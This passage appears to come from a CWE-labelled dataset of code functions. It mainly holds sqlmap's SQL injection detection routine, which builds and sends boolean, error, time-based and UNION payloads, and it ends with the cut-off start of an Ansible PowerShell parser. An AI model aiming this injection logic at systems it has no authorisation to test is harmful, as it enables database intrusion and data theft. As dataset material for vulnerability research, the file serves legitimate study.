                    choice = readInput(msg, default=str(conf.verbose), checkBatch=False)
                conf.verbose = int(choice)
                setVerbosity()
                tests.insert(0, test)
            elif choice == 'N':
                return None
            elif choice == 'E':
                kb.endDetection = True
            elif choice == 'Q':
                raise SqlmapUserQuitException

        finally:
            # Reset forced back-end DBMS value
            Backend.flushForcedDbms()

    Backend.flushForcedDbms(True)

    # Return the injection object
    if injection.place is not None and injection.parameter is not None:
        if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'):
            warnMsg = ""in OR boolean-based injection cases, please consider usage ""
            warnMsg += ""of switch '--drop-set-cookie' if you experience any ""
            warnMsg += ""problems during data retrieval""
            logger.warn(warnMsg)

        if not checkFalsePositives(injection):
            if conf.hostname in kb.vulnHosts:
                kb.vulnHosts.remove(conf.hostname)

            if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
                injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)

    else:
        injection = None

    if injection and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
        checkSuhosinPatch(injection)
        checkFilteredChars(injection)

    return injection",,sqlmapproject/sqlmap,160011bd87f9c769cab5fee3477cb781b742e6a8,"def checkSqlInjection(place, parameter, value):
    # Store here the details about boundaries and payload used to
    # successfully inject
    injection = InjectionDict()

    # Localized thread data needed for some methods
    threadData = getCurrentThreadData()

    # Favoring non-string specific boundaries in case of digit-like parameter values
    if isDigit(value):
        kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or """") or _ in (boundary.suffix or """") for _ in ('""', '\'')))
        boundaries = kb.cache.intBoundaries
    elif value.isalpha():
        kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or """") or _ in (boundary.suffix or """") for _ in ('""', '\'')))
        boundaries = kb.cache.alphaBoundaries
    else:
        boundaries = conf.boundaries

    # Set the flag for SQL injection test mode
    kb.testMode = True

    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
    tests = getSortedInjectionTests()
    seenPayload = set()

    kb.data.setdefault(""randomInt"", str(randomInt(10)))
    kb.data.setdefault(""randomStr"", str(randomStr(10)))

    while tests:
        test = tests.pop(0)

        try:
            if kb.endDetection:
                break

            if conf.dbms is None:
                # If the DBMS has not yet been fingerprinted (via simple heuristic check
                # or via DBMS-specific payload) and boolean-based blind has been identified
                # then attempt to identify with a simple DBMS specific boolean-based
                # test what the DBMS may be
                if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
                    if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
                        kb.heuristicDbms = heuristicCheckDbms(injection)

                # If the DBMS has already been fingerprinted (via DBMS-specific
                # error message, simple heuristic check or via DBMS-specific
                # payload), ask the user to limit the tests to the fingerprinted
                # DBMS

                if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                    msg = ""it looks like the back-end DBMS is '%s'. "" % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                    msg += ""Do you want to skip test payloads specific for other DBMSes? [Y/n]""
                    kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []

            # If the DBMS has been fingerprinted (via DBMS-specific error
            # message, via simple heuristic check or via DBMS-specific
            # payload), ask the user to extend the tests to all DBMS-specific,
            # regardless of --level and --risk values provided
            if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                msg = ""for the remaining tests, do you want to include all tests ""
                msg += ""for '%s' extending provided "" % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                msg += ""level (%d)"" % conf.level if conf.level < 5 else """"
                msg += "" and "" if conf.level < 5 and conf.risk < 3 else """"
                msg += ""risk (%d)"" % conf.risk if conf.risk < 3 else """"
                msg += "" values? [Y/n]"" if conf.level < 5 and conf.risk < 3 else "" value? [Y/n]""
                kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []

            title = test.title
            kb.testType = stype = test.stype
            clause = test.clause
            unionExtended = False
            trueCode, falseCode = None, None

            if conf.httpCollector is not None:
                conf.httpCollector.setExtendedArguments({
                    ""_title"": title,
                    ""_place"": place,
                    ""_parameter"": parameter,
                })

            if stype == PAYLOAD.TECHNIQUE.UNION:
                configUnion(test.request.char)

                if ""[CHAR]"" in title:
                    if conf.uChar is None:
                        continue
                    else:
                        title = title.replace(""[CHAR]"", conf.uChar)

                elif ""[RANDNUM]"" in title or ""(NULL)"" in title:
                    title = title.replace(""[RANDNUM]"", ""random number"")

                if test.request.columns == ""[COLSTART]-[COLSTOP]"":
                    if conf.uCols is None:
                        continue
                    else:
                        title = title.replace(""[COLSTART]"", str(conf.uColsStart))
                        title = title.replace(""[COLSTOP]"", str(conf.uColsStop))

                elif conf.uCols is not None:
                    debugMsg = ""skipping test '%s' because the user "" % title
                    debugMsg += ""provided custom column range %s"" % conf.uCols
                    logger.debug(debugMsg)
                    continue

                match = re.search(r""(\d+)-(\d+)"", test.request.columns)
                if match and injection.data:
                    lower, upper = int(match.group(1)), int(match.group(2))
                    for _ in (lower, upper):
                        if _ > 1:
                            __ = 2 * (_ - 1) + 1 if _ == lower else 2 * _
                            unionExtended = True
                            test.request.columns = re.sub(r""\b%d\b"" % _, str(__), test.request.columns)
                            title = re.sub(r""\b%d\b"" % _, str(__), title)
                            test.title = re.sub(r""\b%d\b"" % _, str(__), test.title)

            # Skip test if the user's wants to test only for a specific
            # technique
            if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
                debugMsg = ""skipping test '%s' because user "" % title
                debugMsg += ""specified testing of only ""
                debugMsg += ""%s techniques"" % "" & "".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
                logger.debug(debugMsg)
                continue

            # Skip test if it is the same SQL injection type already
            # identified by another test
            if injection.data and stype in injection.data:
                debugMsg = ""skipping test '%s' because "" % title
                debugMsg += ""the payload for %s has "" % PAYLOAD.SQLINJECTION[stype]
                debugMsg += ""already been identified""
                logger.debug(debugMsg)
                continue

            # Parse DBMS-specific payloads' details
            if ""details"" in test and ""dbms"" in test.details:
                payloadDbms = test.details.dbms
            else:
                payloadDbms = None

            # Skip tests if title, vector or DBMS is not included by the
            # given test filter
            if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                debugMsg = ""skipping test '%s' because its "" % title
                debugMsg += ""name/vector/DBMS is not included by the given filter""
                logger.debug(debugMsg)
                continue

            # Skip tests if title, vector or DBMS is included by the
            # given skip filter
            if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                debugMsg = ""skipping test '%s' because its "" % title
                debugMsg += ""name/vector/DBMS is included by the given skip filter""
                logger.debug(debugMsg)
                continue

            if payloadDbms is not None:
                # Skip DBMS-specific test if it does not match the user's
                # provided DBMS
                if conf.dbms and not intersect(payloadDbms, conf.dbms, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than provided""
                    logger.debug(debugMsg)
                    continue

                if kb.dbmsFilter and not intersect(payloadDbms, kb.dbmsFilter, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than provided""
                    logger.debug(debugMsg)
                    continue

                # Skip DBMS-specific test if it does not match the
                # previously identified DBMS (via DBMS-specific payload)
                if injection.dbms and not intersect(payloadDbms, injection.dbms, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than identified""
                    logger.debug(debugMsg)
                    continue

                # Skip DBMS-specific test if it does not match the
                # previously identified DBMS (via DBMS-specific error message)
                if kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True):
                    debugMsg = ""skipping test '%s' because the heuristic "" % title
                    debugMsg += ""tests showed that the back-end DBMS ""
                    debugMsg += ""could be '%s'"" % unArrayizeValue(kb.reduceTests)
                    logger.debug(debugMsg)
                    continue

            # If the user did not decide to extend the tests to all
            # DBMS-specific or the test payloads is not specific to the
            # identified DBMS, then only test for it if both level and risk
            # are below the corrisponding configuration's level and risk
            # values
            if not conf.testFilter and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
                # Skip test if the risk is higher than the provided (or default)
                # value
                if test.risk > conf.risk:
                    debugMsg = ""skipping test '%s' because the risk (%d) "" % (title, test.risk)
                    debugMsg += ""is higher than the provided (%d)"" % conf.risk
                    logger.debug(debugMsg)
                    continue

                # Skip test if the level is higher than the provided (or default)
                # value
                if test.level > conf.level:
                    debugMsg = ""skipping test '%s' because the level (%d) "" % (title, test.level)
                    debugMsg += ""is higher than the provided (%d)"" % conf.level
                    logger.debug(debugMsg)
                    continue

            # Skip test if it does not match the same SQL injection clause
            # already identified by another test
            clauseMatch = False

            for clauseTest in clause:
                if injection.clause is not None and clauseTest in injection.clause:
                    clauseMatch = True
                    break

            if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch:
                debugMsg = ""skipping test '%s' because the clauses "" % title
                debugMsg += ""differ from the clause already identified""
                logger.debug(debugMsg)
                continue

            # Skip test if the user provided custom character (for UNION-based payloads)
            if conf.uChar is not None and (""random number"" in title or ""(NULL)"" in title):
                debugMsg = ""skipping test '%s' because the user "" % title
                debugMsg += ""provided a specific character, %s"" % conf.uChar
                logger.debug(debugMsg)
                continue

            if stype == PAYLOAD.TECHNIQUE.UNION:
                match = re.search(r""(\d+)-(\d+)"", test.request.columns)
                if match and not injection.data:
                    _ = test.request.columns.split('-')[-1]
                    if conf.uCols is None and _.isdigit():
                        if kb.futileUnion is None:
                            msg = ""it is recommended to perform ""
                            msg += ""only basic UNION tests if there is not ""
                            msg += ""at least one other (potential) ""
                            msg += ""technique found. Do you want to reduce ""
                            msg += ""the number of requests? [Y/n] ""
                            kb.futileUnion = readInput(msg, default='Y', boolean=True)

                        if kb.futileUnion and int(_) > 10:
                            debugMsg = ""skipping test '%s'"" % title
                            logger.debug(debugMsg)
                            continue

            infoMsg = ""testing '%s'"" % title
            logger.info(infoMsg)

            # Force back-end DBMS according to the current test DBMS value
            # for proper payload unescaping
            Backend.forceDbms(payloadDbms[0] if isinstance(payloadDbms, list) else payloadDbms)

            # Parse test's <request>
            comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
            fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

            for boundary in boundaries:
                injectable = False

                # Skip boundary if the level is higher than the provided (or
                # default) value
                # Parse boundary's <level>
                if boundary.level > conf.level and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
                    continue

                # Skip boundary if it does not match against test's <clause>
                # Parse test's <clause> and boundary's <clause>
                clauseMatch = False

                for clauseTest in test.clause:
                    if clauseTest in boundary.clause:
                        clauseMatch = True
                        break

                if test.clause != [0] and boundary.clause != [0] and not clauseMatch:
                    continue

                # Skip boundary if it does not match against test's <where>
                # Parse test's <where> and boundary's <where>
                whereMatch = False

                for where in test.where:
                    if where in boundary.where:
                        whereMatch = True
                        break

                if not whereMatch:
                    continue

                # Parse boundary's <prefix>, <suffix> and <ptype>
                prefix = boundary.prefix if boundary.prefix else """"
                suffix = boundary.suffix if boundary.suffix else """"
                ptype = boundary.ptype

                # Options --prefix/--suffix have a higher priority (if set by user)
                prefix = conf.prefix if conf.prefix is not None else prefix
                suffix = conf.suffix if conf.suffix is not None else suffix
                comment = None if conf.suffix is not None else comment

                # If the previous injections succeeded, we know which prefix,
                # suffix and parameter type to use for further tests, no
                # need to cycle through the boundaries for the following tests
                condBound = (injection.prefix is not None and injection.suffix is not None)
                condBound &= (injection.prefix != prefix or injection.suffix != suffix)
                condType = injection.ptype is not None and injection.ptype != ptype

                # If the payload is an inline query test for it regardless
                # of previously identified injection types
                if stype != PAYLOAD.TECHNIQUE.QUERY and (condBound or condType):
                    continue

                # For each test's <where>
                for where in test.where:
                    templatePayload = None
                    vector = None

                    origValue = value
                    if kb.customInjectionMark in origValue:
                        origValue = origValue.split(kb.customInjectionMark)[0]
                        origValue = re.search(r""(\w*)\Z"", origValue).group(1)

                    # Threat the parameter original value according to the
                    # test's <where> tag
                    if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix:
                        if kb.tamperFunctions:
                            templatePayload = agent.payload(place, parameter, value="""", newValue=origValue, where=where)
                    elif where == PAYLOAD.WHERE.NEGATIVE:
                        # Use different page template than the original
                        # one as we are changing parameters value, which
                        # will likely result in a different content

                        if conf.invalidLogical:
                            _ = int(kb.data.randomInt[:2])
                            origValue = ""%s AND %s LIKE %s"" % (origValue, _, _ + 1)
                        elif conf.invalidBignum:
                            origValue = kb.data.randomInt[:6]
                        elif conf.invalidString:
                            origValue = kb.data.randomStr[:6]
                        else:
                            origValue = ""-%s"" % kb.data.randomInt[:4]

                        templatePayload = agent.payload(place, parameter, value="""", newValue=origValue, where=where)
                    elif where == PAYLOAD.WHERE.REPLACE:
                        origValue = """"

                    kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place)

                    # Forge request payload by prepending with boundary's
                    # prefix and appending the boundary's suffix to the
                    # test's ' <payload><comment> ' string
                    if fstPayload:
                        boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
                        boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                        reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                        if reqPayload:
                            stripPayload = re.sub(r""(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)"", r""\g<1>.\g<4>"", reqPayload)
                            if stripPayload in seenPayload:
                                continue
                            else:
                                seenPayload.add(stripPayload)
                    else:
                        reqPayload = None

                    # Perform the test's request and check whether or not the
                    # payload was successful
                    # Parse test's <response>
                    for method, check in test.response.items():
                        check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

                        # In case of boolean-based blind SQL injection
                        if method == PAYLOAD.METHOD.COMPARISON:
                            # Generate payload used for comparison
                            def genCmpPayload():
                                sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

                                # Forge response payload by prepending with
                                # boundary's prefix and appending the boundary's
                                # suffix to the test's ' <payload><comment> '
                                # string
                                boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
                                boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                                cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                                return cmpPayload

                            # Useful to set kb.matchRatio at first based on False response content
                            kb.matchRatio = None
                            kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
                            suggestion = None
                            Request.queryPage(genCmpPayload(), place, raise404=False)
                            falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or """", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                            falseRawResponse = ""%s%s"" % (falseHeaders, falsePage)

                            # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
                            if not any((kb.negativeLogic, conf.string, conf.notString)):
                                try:
                                    ratio = 1.0
                                    seqMatcher = getCurrentThreadData().seqMatcher

                                    for current in (kb.originalPage, kb.heuristicPage):
                                        seqMatcher.set_seq1(current or """")
                                        seqMatcher.set_seq2(falsePage or """")
                                        ratio *= seqMatcher.quick_ratio()

                                    if ratio == 1.0:
                                        continue
                                except (MemoryError, OverflowError):
                                    pass

                            # Perform the test's True request
                            trueResult = Request.queryPage(reqPayload, place, raise404=False)
                            truePage, trueHeaders, trueCode = threadData.lastComparisonPage or """", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                            trueRawResponse = ""%s%s"" % (trueHeaders, truePage)

                            if trueResult and not(truePage == falsePage and not kb.nullConnection):
                                # Perform the test's False request
                                falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)

                                if not falseResult:
                                    if kb.negativeLogic:
                                        boundPayload = agent.prefixQuery(kb.data.randomStr, prefix, where, clause)
                                        boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                                        errorPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                                        errorResult = Request.queryPage(errorPayload, place, raise404=False)
                                        if errorResult:
                                            continue
                                    elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                        _ = comparison(kb.heuristicPage, None, getRatioValue=True)
                                        if (_ or 0) > (kb.matchRatio or 0):
                                            kb.matchRatio = _
                                            logger.debug(""adjusting match ratio for current parameter to %.3f"" % kb.matchRatio)

                                    # Reducing false-positive ""appears"" messages in heavily dynamic environment
                                    if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
                                        continue

                                    injectable = True

                                elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                    originalSet = set(getFilteredPageContent(kb.pageTemplate, True, ""\n"").split(""\n""))
                                    trueSet = set(getFilteredPageContent(truePage, True, ""\n"").split(""\n""))
                                    falseSet = set(getFilteredPageContent(falsePage, True, ""\n"").split(""\n""))

                                    if threadData.lastErrorPage and threadData.lastErrorPage[1]:
                                        errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, ""\n"").split(""\n""))
                                    else:
                                        errorSet = set()

                                    if originalSet == trueSet != falseSet:
                                        candidates = trueSet - falseSet - errorSet

                                        if candidates:
                                            candidates = sorted(candidates, key=len)
                                            for candidate in candidates:
                                                if re.match(r""\A[\w.,! ]+\Z"", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
                                                    suggestion = conf.string = candidate
                                                    injectable = True

                                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.string).lstrip('u').strip(""'""))
                                                    logger.info(infoMsg)

                                                    break

                            if injectable:
                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                    if all((falseCode, trueCode)) and falseCode != trueCode:
                                        suggestion = conf.code = trueCode

                                        infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --code=%d)"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, conf.code)
                                        logger.info(infoMsg)
                                    else:
                                        trueSet = set(extractTextTagContent(trueRawResponse))
                                        trueSet |= set(__ for _ in trueSet for __ in _.split())

                                        falseSet = set(extractTextTagContent(falseRawResponse))
                                        falseSet |= set(__ for _ in falseSet for __ in _.split())

                                        if threadData.lastErrorPage and threadData.lastErrorPage[1]:
                                            errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
                                            errorSet |= set(__ for _ in errorSet for __ in _.split())
                                        else:
                                            errorSet = set()

                                        candidates = filterNone(_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet))

                                        if candidates:
                                            candidates = sorted(candidates, key=len)
                                            for candidate in candidates:
                                                if re.match(r""\A\w{2,}\Z"", candidate):  # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
                                                    break

                                            suggestion = conf.string = candidate

                                            infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.string).lstrip('u').strip(""'""))
                                            logger.info(infoMsg)

                                        if not any((conf.string, conf.notString)):
                                            candidates = filterNone(_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet))

                                            if candidates:
                                                candidates = sorted(candidates, key=len)
                                                for candidate in candidates:
                                                    if re.match(r""\A\w+\Z"", candidate):
                                                        break

                                                suggestion = conf.notString = candidate

                                                infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --not-string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.notString).lstrip('u').strip(""'""))
                                                logger.info(infoMsg)

                                if not suggestion:
                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                    singleTimeLogMessage(infoMsg)

                        # In case of error-based SQL injection
                        elif method == PAYLOAD.METHOD.GREP:
                            # Perform the test's request and grep the response
                            # body for the test's <grep> regular expression
                            try:
                                page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                                if output:
                                    result = output == ""1""

                                    if result:
                                        infoMsg = ""%sparameter '%s' is '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                        logger.info(infoMsg)

                                        injectable = True

                            except SqlmapConnectionException as ex:
                                debugMsg = ""problem occurred most likely because the ""
                                debugMsg += ""server hasn't recovered as expected from the ""
                                debugMsg += ""used error-based payload ('%s')"" % getSafeExString(ex)
                                logger.debug(debugMsg)

                        # In case of time-based blind or stacked queries
                        # SQL injections
                        elif method == PAYLOAD.METHOD.TIME:
                            # Perform the test's request
                            trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
                            trueCode = threadData.lastCode

                            if trueResult:
                                # Extra validation step (e.g. to check for DROP protection mechanisms)
                                if SLEEP_TIME_MARKER in reqPayload:
                                    falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, ""0""), place, timeBasedCompare=True, raise404=False)
                                    if falseResult:
                                        continue

                                # Confirm test's results
                                trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)

                                if trueResult:
                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                    logger.info(infoMsg)

                                    injectable = True

                        # In case of UNION query SQL injection
                        elif method == PAYLOAD.METHOD.UNION:
                            # Test for UNION injection and set the sample
                            # payload as well as the vector.
                            # NOTE: vector is set to a tuple with 6 elements,
                            # used afterwards by Agent.forgeUnionQuery()
                            # method to forge the UNION query payload

                            configUnion(test.request.char, test.request.columns)

                            if len(kb.dbmsFilter or []) == 1:
                                Backend.forceDbms(kb.dbmsFilter[0])
                            elif not Backend.getIdentifiedDbms():
                                if kb.heuristicDbms is None:
                                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data:
                                        warnMsg = ""using unescaped version of the test ""
                                        warnMsg += ""because of zero knowledge of the ""
                                        warnMsg += ""back-end DBMS. You can try to ""
                                        warnMsg += ""explicitly set it with option '--dbms'""
                                        singleTimeWarnMessage(warnMsg)
                                else:
                                    Backend.forceDbms(kb.heuristicDbms)

                            if unionExtended:
                                infoMsg = ""automatically extending ranges for UNION ""
                                infoMsg += ""query injection technique tests as ""
                                infoMsg += ""there is at least one other (potential) ""
                                infoMsg += ""technique found""
                                singleTimeLogMessage(infoMsg)

                            # Test for UNION query SQL injection
                            reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)

                            if isinstance(reqPayload, six.string_types):
                                infoMsg = ""%sparameter '%s' is '%s' injectable"" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                logger.info(infoMsg)

                                injectable = True

                                # Overwrite 'where' because it can be set
                                # by unionTest() directly
                                where = vector[6]

                        kb.previousMethod = method

                        if conf.offline:
                            injectable = False

                    # If the injection test was successful feed the injection
                    # object with the test's details
                    if injectable is True:
                        # Feed with the boundaries details only the first time a
                        # test has been successful
                        if injection.place is None or injection.parameter is None:
                            if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
                                injection.parameter = place
                            else:
                                injection.parameter = parameter

                            injection.place = place
                            injection.ptype = ptype
                            injection.prefix = prefix
                            injection.suffix = suffix
                            injection.clause = clause

                        # Feed with test details every time a test is successful
                        if hasattr(test, ""details""):
                            for key, value in test.details.items():
                                if key == ""dbms"":
                                    injection.dbms = value

                                    if not isinstance(value, list):
                                        Backend.setDbms(value)
                                    else:
                                        Backend.forceDbms(value[0], True)

                                elif key == ""dbms_version"" and injection.dbms_version is None and not conf.testFilter:
                                    injection.dbms_version = Backend.setVersion(value)

                                elif key == ""os"" and injection.os is None:
                                    injection.os = Backend.setOs(value)

                        if vector is None and ""vector"" in test and test.vector is not None:
                            vector = test.vector

                        injection.data[stype] = AttribDict()
                        injection.data[stype].title = title
                        injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload)
                        injection.data[stype].where = where
                        injection.data[stype].vector = vector
                        injection.data[stype].comment = comment
                        injection.data[stype].templatePayload = templatePayload
                        injection.data[stype].matchRatio = kb.matchRatio
                        injection.data[stype].trueCode = trueCode
                        injection.data[stype].falseCode = falseCode

                        injection.conf.textOnly = conf.textOnly
                        injection.conf.titles = conf.titles
                        injection.conf.code = conf.code
                        injection.conf.string = conf.string
                        injection.conf.notString = conf.notString
                        injection.conf.regexp = conf.regexp
                        injection.conf.optimize = conf.optimize

                        if not kb.alerted:
                            if conf.beep:
                                beep()

                            if conf.alert:
                                infoMsg = ""executing alerting shell command(s) ('%s')"" % conf.alert
                                logger.info(infoMsg)

                                try:
                                    process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
                                    process.wait()
                                except Exception as ex:
                                    errMsg = ""error occurred while executing '%s' ('%s')"" % (conf.alert, getSafeExString(ex))
                                    logger.error(errMsg)

                            kb.alerted = True

                        # There is no need to perform this test for other
                        # <where> tags
                        break

                if injectable is True:
                    kb.vulnHosts.add(conf.hostname)
                    break

            # Reset forced back-end DBMS value
            Backend.flushForcedDbms()

        except KeyboardInterrupt:
            warnMsg = ""user aborted during detection phase""
            logger.warn(warnMsg)

            if conf.multipleTargets:
                msg = ""how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]""
                choice = readInput(msg, default='X', checkBatch=False).upper()
            else:
                msg = ""how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]""
                choice = readInput(msg, default='S', checkBatch=False).upper()

            if choice == 'X':
                if conf.multipleTargets:
                    raise SqlmapSkipTargetException
            elif choice == 'C':
                choice = None
                while not ((choice or """").isdigit() and 0 <= int(choice) <= 6):
                    if choice:
                        logger.warn(""invalid value"")
                    msg = ""enter new verbosity level: [0-6] ""
                    choice = readInput(msg, default=str(conf.verbose), checkBatch=False)
                conf.verbose = int(choice)
                setVerbosity()
                tests.insert(0, test)
            elif choice == 'N':
                return None
            elif choice == 'E':
                kb.endDetection = True
            elif choice == 'Q':
                raise SqlmapUserQuitException

        finally:
            # Reset forced back-end DBMS value
            Backend.flushForcedDbms()

    Backend.flushForcedDbms(True)

    # Return the injection object
    if injection.place is not None and injection.parameter is not None:
        if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'):
            warnMsg = ""in OR boolean-based injection cases, please consider usage ""
            warnMsg += ""of switch '--drop-set-cookie' if you experience any ""
            warnMsg += ""problems during data retrieval""
            logger.warn(warnMsg)

        if not checkFalsePositives(injection):
            if conf.hostname in kb.vulnHosts:
                kb.vulnHosts.remove(conf.hostname)

            if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
                injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)

    else:
        injection = None

    if injection and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
        checkSuhosinPatch(injection)
        checkFilteredChars(injection)

    return injection"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/shell/powershell.py,0,"def _parse_clixml(data, stream=""Error""):
    """"""
    Takes a byte string like '#< CLIXML\r\n<Objs...' and extracts the stream
    message encoded in the XML data. CLIXML is used by PowerShell to encode
    multiple objects in stderr.
    """"""
    lines = []

    # There are some scenarios where the stderr contains a nested CLIXML element like
    # '<# CLIXML\r\n<# CLIXML\r\n<Objs>...</Objs><Objs>...</Objs>'.
    # Parse each individual <Objs> element and add the error strings to our stderr list.
    # https://github.com/ansible/ansible/issues/69550
    while data:
        end_idx = data.find(b""</Objs>"") + 7
        current_element = data[data.find(b""<Objs ""):end_idx]
        data = data[end_idx:]

        clixml = ET.fromstring(current_element)
        namespace_match = re.match(r'{(.*)}', clixml.tag)
        namespace = ""{%s}"" % namespace_match.group(1) if namespace_match else """"

